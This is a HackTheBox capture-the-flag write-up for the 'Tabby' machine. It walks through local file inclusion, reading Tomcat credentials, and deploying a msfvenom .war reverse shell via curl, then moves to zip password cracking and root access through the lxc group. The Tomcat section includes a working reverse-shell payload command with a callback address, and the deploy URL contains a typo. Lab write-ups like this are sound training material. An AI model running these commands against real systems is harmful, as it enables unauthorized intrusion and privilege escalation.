> For the complete documentation index, see [llms.txt](https://rouvin.gitbook.io/ibreakstuff/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://rouvin.gitbook.io/ibreakstuff/writeups/hackthebox/easy/tabby.md).

# Tabby

## Gaining Access

Nmap scan:

![](/files/qxli1ysH3DNdY7e98r27)

### LFI

We would have to add `megahosting.htb` to our `/etc/hosts` file to view port 80. Afterwards, we would just see something like this on the page:

![](/files/3r9yPcbox7mXzpwb8qDv)

When we press the Compare button, we would be brought to `/news.php?file=statement`. I tested for LFI, and it worked!

![](/files/V3j67cFAAnySyUCDu9hb)

### Tomcat

Tomcat was running on port 8080, and we would need to somehow get the manager password to upload a .war reverse shell. Since we have LFI, we can read it at `/usr/share/tomcat9/etc/tomcat-users.xml`.

![](/files/18Xkoi1Si6IqDRLnHXzh)

The password is `$3cureP4s5w0rd123!`. Then, we can login to the admin dashboard, create a .war reverse shell using `msfvenom`, upload it, and execute it via `curl`:

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.9 LPORT=4444 -f war -o rev.war
curl -u 'tomcat:$3cureP4s5w0rd123!' http://10.10.10.194:8080/mnager/text/deploy?path=/shell --upload-file rev.war
```

![](/files/pKV48fAMvYhMkBxqap9I)

## Privilege Escalation

### Backup Zip -> Ash

When looking aroun the file system, I found this backup file here:

![](/files/4eIeg6cTI7sF6bbve9G4)

This waws password protected, so let's transfer this back to our machine via `nc` and then use `john` on it:

![](/files/rEUKRkIT885L9lv8449b)

The backup file had nothing on it...which was weird. Since we have a password, might as well try `su`, and it worked to getting to `ash`:

![](/files/rE8apbbp3sfY9tBV14Jr)

### LXC Group

When we check the `id` of `ash`, we see that they are part of the `lxc` group.

![](/files/V2EYYtHGdtXYMtmBhrAF)

This exploitable because we can create a container and mount it with root access to the main machine.

{% embed url="<https://steflan-security.com/linux-privilege-escalation-exploiting-the-lxc-lxd-groups/>" %}

Following the resource above, we can spawn a root shell:

![](/files/8eIgJgmSDYbL0Dgc3zHC)

Rooted!